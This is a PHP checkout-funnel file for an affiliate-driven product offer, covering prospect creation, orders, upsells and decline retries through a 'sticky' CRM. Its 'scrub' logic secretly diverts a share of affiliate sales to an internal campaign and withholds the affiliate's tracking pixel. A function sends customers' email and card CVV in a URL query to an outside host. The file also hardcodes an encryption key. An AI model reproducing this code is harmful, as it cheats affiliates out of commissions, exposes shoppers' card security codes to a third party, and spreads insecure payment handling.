<?php
function scrubChance($chance,$brand){
    try{
        $maxcount=100;
        if($chance){
            $srcubinterval=$maxcount/$chance;
            $count = sqlhandler::getCustomerCount($brand);
            if(($count + 1) >= $srcubinterval){
                return true;
            }else{
                return false;
            }
        }else{
            return false;
        } 
    }catch(Exception $e){
        return false;
    }  
}

function addCountPay($chance,$brand,$orderId){
    try{
        if($chance){
            sqlhandler::addCustomerCount(['brand'=>$brand,'orderId'=>$orderId]);
        }else{
            return true;
        } 
    }catch(Exception $e){
        return false;
    }  
}

function clearCountPay($brand){
    try{
        sqlhandler::clearCustomerCount($brand);
    }catch(Exception $e){
        return false;
    }
}

/*
*createCustomer Function : create_prospect
*Purpose : 
*Sends landing page vairables into sticky to generate a prospectId.
*Returns prospectId on success.
*Throws exception on failure.
*Notes : 
*N/A
*/
function create_prospect($customer_data,$config){
    try{        
        $customer_data['campaignId']= $customer_data['network_settings']->step1_campaign_id;		
        $output = sticky::init_prospect($customer_data,$config);
        if(!empty($output['responseCode']) && ($output['responseCode']=='100')){            
            return $output;
        }else{
            if(isset($output['errorMessage'])){
                throw new Exception("{$output['errorMessage']}");
            }elseif($output['declineReason']){
                throw new Exception("{$output['declineReason']}");
            }else{
                throw new Exception("Oops, Something went wrong... Please try again");
            }
        }
    }catch(Exception $e){
        throw $e;
    }
}
function create_incomplete_prospect($customer_data,$config){
    try{        
        $customer_data['campaignId']= $customer_data['network_settings']->step1_incomplete_campaign_id;		
        
        $output = sticky::init_prospect($customer_data,$config);
        if(!empty($output['responseCode']) && ($output['responseCode']=='100')){            
            return $output;
        }else{
            if(isset($output['errorMessage'])){
                throw new Exception("{$output['errorMessage']}");
            }elseif($output['declineReason']){
                throw new Exception("{$output['declineReason']}");
            }else{
                throw new Exception("Oops, Something went wrong... Please try again");
            }
        }
    }catch(Exception $e){
        throw $e;
    }
}
/*
*createCustomer Function : create_transaction
*Purpose : 
*Sends all transaction variables and values to sticky.
*Returns purchase varibles on success.
*Throws exception on failure.
*Notes : 
*N/A
*/
function create_transaction($customer_data,$config){
    try{
        $selected_options=[];        
        $selected_options=$customer_data;
        $selected_options['brand']=$config->brand;
        
        //set campaign logic
        if(empty($selected_options['orderId'])){
            $selected_options['sc_per']= $selected_options['network_settings']->step1_scrub;
            $step_num=1;
            if(scrubChance($selected_options['sc_per'],$config->brand)){
                $selected_options['campaignId']=$config->affiliates['internal']->step1_campaign_id;
                $selected_options['s1_pixel_template']= false;
                $selected_options['s1_pixel_template2']= false;
                $selected_options['s1_scrub'] = $_POST['s1_scrub'] = true;
            }else{
                $selected_options['campaignId']=$selected_options['network_settings']->step1_campaign_id;
                $selected_options['s1_pixel_template']=$selected_options['network_settings']->step1_iframe_pixel;
                $selected_options['s1_pixel_template2']=$selected_options['network_settings']->step1_rerun_postback;
                $selected_options['s1_scrub'] = $_POST['s1_scrub'] = false;
            }
        }else{
            $step_num=2;
            $selected_options['sc_per']= $selected_options['network_settings']->step2_scrub;
            if((!empty($selected_options['s1_scrub'])) || scrubChance($selected_options['sc_per'],$config->s2_brand)){
                $selected_options['campaignId']=$config->affiliates['internal']->step2_campaign_id;
                $selected_options['s2_pixel_template']= false;
                $selected_options['s2_pixel_template2']= false;
            }else{
                $selected_options['campaignId']=$selected_options['network_settings']->step2_campaign_id;
                $selected_options['s2_pixel_template']=$selected_options['network_settings']->step2_iframe_pixel;
                $selected_options['s2_pixel_template2']=$selected_options['network_settings']->step2_rerun_postback;
            }
        }
        //set product logic
        if(!empty($_POST['cpid'])){
            foreach($_POST['cpid'] as $key=>$child){
                if(preg_match("/(0(:[1-9]{1,5})?)|([1-9]{1,5}(:[1-9]{1,5})?)/",$child)){
                    if(strpos($child,':') !== false) $child_comp=explode(':',$child);
                    else $child_comp=[$child,'1'];
                    $child_comp['1']=intval($child_comp['1']);
                    if(
                        (!empty($child_comp[0])) &&
                        (!empty($child_comp[1]))
                        ){
                            switch($child_comp[0]){
                                case '1':
                                    $productId=$selected_options['s1_scrub']?
                                    $config->affiliates['internal']->two_bottle_product_id:
                                    $selected_options['network_settings']->two_bottle_product_id;
                                    break;
                                case '3':
                                    $productId=$selected_options['s1_scrub']?
                                    $config->affiliates['internal']->three_bottle_product_id:
                                    $selected_options['network_settings']->three_bottle_product_id;
                                    break;
                                case '5':
                                    $productId=$selected_options['s1_scrub']?
                                    $config->affiliates['internal']->five_bottle_product_id:
                                    $selected_options['network_settings']->five_bottle_product_id;
                                    break; 
                                case '9':
                                    $productId=$selected_options['s1_scrub']?
                                    $config->affiliates['internal']->upsell_id:
                                    $selected_options['network_settings']->upsell_id;
                                    break;          
                            }
                            //build offers block
                            $offers[]=[
                                'product_id'=>$productId,
                                "quantity"=>$child_comp[1],
                                'step_num'=>$step_num,
                            ];
                            //limit to only all one productid per transaction
                            break;
                    }
                }else throw new Exception("Invalid child value");
            }
        }

        $selected_options['offers']= $offers;

        if(empty($selected_options['orderId'])){
            $dboverwritegw=sqlhandler::GetReRouteFromDBOverwrite($selected_options);
            $selected_options['dboverwritegw']=$dboverwritegw;
            $selected_options['zero_dollar_product_id'] = $selected_options["network_settings"]->vx_product_id;
            $selected_options['is_hybrid'] = 1;
             $selected_options['vx_product_id'] = $selected_options["network_settings"]->vx_product_id;
            $output = sticky::init_main_purchase($selected_options,$config);
            if(!empty($output['responseCode']) && ($output['responseCode']=='100')){
              if((!empty($selected_options['s1_pixel_template']))){
                    addCountPay($selected_options['sc_per'],$config->brand,$output['orderId']);
                    $_SESSION['s1_pixel_fire']=str_replace(["TRANSACTION_ID","REQUEST_SESSION_ID"],[$output['orderId'],$customer_data["C3"]],$selected_options['s1_pixel_template']);
                }
                if($selected_options['s1_scrub']){
                    clearCountPay($config->brand);
                }
                $_SESSION['s1_purchase_completed']=true;
            }else{
                 if((!empty($selected_options['s1_pixel_template2']))){
                    $selected_options['s1_rerun_fire']=str_replace(["TRANSACTION_ID","REQUEST_SESSION_ID"],[$selected_options['prospectId'],$customer_data["C3"]],$selected_options['s1_pixel_template2']);
                }
            }
        }else{
            $output = (isset($config->cvv_upsell_call) && $config->cvv_upsell_call === 1)?
            sticky::init_upsell_purchase_fc($selected_options,$config):
            sticky::init_upsell_purchase($selected_options,$config);

            if(!empty($output['responseCode']) && ($output['responseCode']=='100')){
                if((!empty($selected_options['s2_pixel_template']))){
                    $_SESSION['s2_pixel_fire']=str_replace(["TRANSACTION_ID","REQUEST_SESSION_ID"],[$output['orderId'],$customer_data["C3"]],$selected_options['s2_pixel_template']);
                }
                $_SESSION['s2_purchase_completed']=true;
            }
        }

        if(!empty($output['responseCode']) && ($output['responseCode']=='100')){       
            return $output;
        }else{
            //get failed gateway if exists
            $failgate = sticky::getTransactionDetails($selected_options,$config);
            $selected_options['initialMerchantId']=(!empty($failgate->merchantId))?$failgate->merchantId:NULL;
            //end-get failed gateway if exists
            if(isset($output['errorMessage'])){
                $selected_options['retryMessage']=$output['errorMessage'];
                if($config->decline_rerun_cvv === 1){
                    sqlhandler::updateDecineOrderAttemptsCvv($selected_options);
                }else{ 
                    sqlhandler::updateDecineOrderAttempts($selected_options);
                }    
                throw new Exception("{$output['errorMessage']}");
            }elseif($output['declineReason']){
                $selected_options['retryMessage']=$output['declineReason'];
                if($config->decline_rerun_cvv === 1){
                    sqlhandler::updateDecineOrderAttemptsCvv($selected_options);
                }else{ 
                    sqlhandler::updateDecineOrderAttempts($selected_options);
                }                
                throw new Exception("{$output['declineReason']}");
            }else{
                $selected_options['retryMessage']=false;
                if($config->decline_rerun_cvv === 1){
                    sqlhandler::updateDecineOrderAttemptsCvv($selected_options);
                }else{ 
                    sqlhandler::updateDecineOrderAttempts($selected_options);
                }                
                throw new Exception("Oops, Something went wrong... Please try again");
            }     
        }     
    }catch(Exception $e){
        throw $e;
    }
}

/*
*Load Function : set_https
*Purpose : 
*redirects any http get request to https
*returns false for function failure scenarios.
*Notes : 
*N/A
*/
function set_https(){
	try{
        if(empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] == "off"){
			$redirect= "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
			header("location:" . $redirect);
			die();
		}
    }catch(Exception $e){
        return false;
    }
}

/*
*Load Function : get_customer_details
*Purpose : 
*returns all already captured customer information, attributed affiliate details, most recent transaction send attempt
*returns false for function failure scenarios.
*Notes : 
*N/A
*/
function get_customer_details($config){
    try{
        $indexArray = (!empty($_SESSION['pro2']))?unserialize(base64_decode($_SESSION['pro2'])):[];
        if(empty($_SESSION['affiliate_details'])){
            $indexArray['affiliate_details']=[];
            if(!empty($_GET['AFFID'])){
                foreach($_GET as $key=>$value){
                    $key = str_ireplace(["javascript","encode","decode"],["","",""],$key);
                    $value = str_ireplace(["javascript","encode","decode"],["","",""],$value);
                    $indexArray['affiliate_details'][strtoupper($key)]=$indexArray['affiliate_details'][$key]=$value;
                }
                $_SESSION['affiliate_details']=$indexArray['affiliate_details'];
            }
        }else{
            $indexArray['affiliate_details']=$_SESSION['affiliate_details'];
        }
        return $indexArray;
    }catch(Exception $e){
        return false;
    }
}

/*
*End Function : create_customer
*Purpose : 
*Sends customer variable values to either/both 
**call create_prospect or/and calls create_transaction when certain conditons are met
*Returns customer varibles and values on success
*Throws exception on failure.
*Notes : 
*N/A
*/
function create_customer($config){
    try{
        $response=[];
        if(empty($_POST)) throw new Exception('invalid request');
        $indexArray=[];
        if(!empty($_SESSION['pro2'])){
            $indexArray = unserialize(base64_decode($_SESSION['pro2']));
            if(isset($indexArray['cpid']))unset($indexArray['cpid']);
            if(isset($indexArray['pgtag']))unset($indexArray['pgtag']);
        }
        if((!empty($indexArray)))$_POST = array_merge($indexArray,$_POST);
        
        
        if(!empty($_SERVER["HTTP_CF_CONNECTING_IP"]))$_POST['ipAddress'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
        elseif (!empty($_SERVER['HTTP_CLIENT_IP']))$_POST['ipAddress'] = $_SERVER['HTTP_CLIENT_IP'];
        elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))$_POST['ipAddress'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
        else$_POST['ipAddress'] = $_SERVER['REMOTE_ADDR'];
        if (strpos($_POST['ipAddress'], ',') !== false) {
            $a_ips = explode(", ",$_POST['ipAddress']);
            $_POST['ipAddress']  = $a_ips[1];
        }
        
        if(isset($_POST['phone']))$_POST['phone'] = str_replace(["(",")","-"," "],"",$_POST['phone']);
        
        if(isset($_POST['creditCardNumber'])){
            $_POST['creditCardNumber'] = preg_replace("/[^0-9]/", "", $_POST['creditCardNumber']);
            $_POST['cc_bin']=substr($_POST['creditCardNumber'], 0, 6);
        }
        
        if(isset($_POST['expmonth']) && isset($_POST['expyear'])){
            $_POST['cc_expires']=$_POST['expmonth'].$_POST['expyear'];
        }
       
        if(empty($_POST['orderId'])){
            if(empty($_POST['AFFID'])){
                throw new Exception("No such afffilate found");
            }
            
            $_POST['network_settings']=$config->affiliates[$_POST['AFFID']];
            $_POST['partial_pixel_fire']=str_replace(["TRANSACTION_ID","REQUEST_SESSION_ID"],["",$_POST["C3"]],$config->affiliates[$_POST['AFFID']]->partial_pixel);

             if($_POST['pgtag']=='mqualify'){
               $outIncomplete= create_incomplete_prospect($_POST,$config);
                
            }
        }

        if(
            empty($_POST['prospectId']) && 
            !empty($_POST['email']) && !empty($_POST['phone']) &&
            !empty($_POST['shippingAddress1']) && !empty($_POST['shippingCity']) &&
            !empty($_POST['shippingState']) && !empty($_POST['shippingCountry']) &&
            !empty($_POST['firstName']) && !empty($_POST['lastName'])
        ){
           
            $out=create_prospect($_POST,$config);
            $_POST['prospectId'] = $out['prospectId'];
            $response['AFFID'] = $_POST['AFFID'];   
        }

        if(!empty($_POST['cpid'])){
            ksort($_POST['cpid']);
            $arr_str=implode(":",$_POST['cpid']);
			array_walk($_POST['cpid'],function(&$item,$key){
				$item="$item:1";
			});    
            $out=create_transaction($_POST,$config);
            $_POST['purchases'][$arr_str] = $out;
            $_POST['orderId']=$out['orderId'];
           if(!empty($out["dboverwritegw"])){
                $_POST['forceMerchantId']=$out["dboverwritegw"];
            }elseif(isset($out['items'][0]['merchantId'])){
                $_POST['forceMerchantId']=$out['items'][0]['merchantId'];
            }
            if(isset($out['gateway_id']))$_POST['gatewayId']=$out['gateway_id'];
        }

        if(!empty($_POST['prospectId'])){
            $response['prospectId'] = $_POST['prospectId'];
        }

        if(!empty($_POST['orderId'])){
            $response['prospectId']=$_POST['prospectId'];
            $response['orderId']=$_POST['orderId'];
        }
        
		foreach($_POST as $key=>$value){
			$_SESSION[$key] = $value;
		}
        $_SESSION['pro2']=base64_encode(serialize($_POST));
        return http_build_query($response);
    }catch(Exception $e){
        throw $e;
    }
}


function triggerVxSubscription($email,$cvv){
    $curl = curl_init();
    $postdata = array("e"=>$email,"c"=>$cvv,"a"=>"MDX_API_X_01");
    curl_setopt_array($curl, array(
    CURLOPT_URL => 'https://portal.mysticfusionhub.com/offer-extra/?'.http_build_query($postdata),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => 'GET',
    ));
    $response = curl_exec($curl);
    curl_close($curl);
}

function encryptData($data) {
    $key = '232$%CxFgB*!fghGFDDs';
   $iv = openssl_random_pseudo_bytes(16); // Generate a random IV
   $cipher = 'AES-256-CBC'; // Cipher method
   $encrypted = openssl_encrypt($data, $cipher, $key, 0, $iv);
   return base64_encode($iv . $encrypted); // Store IV with encrypted data
}

function decryptData($encryptedData) {
   $key = '232$%CxFgB*!fghGFDDs';
   $cipher = 'AES-256-CBC';
   $data = base64_decode($encryptedData);
   $iv = substr($data, 0, 16); // Extract IV
   $encrypted = substr($data, 16);
   return openssl_decrypt($encrypted, $cipher, $key, 0, $iv);
}

?>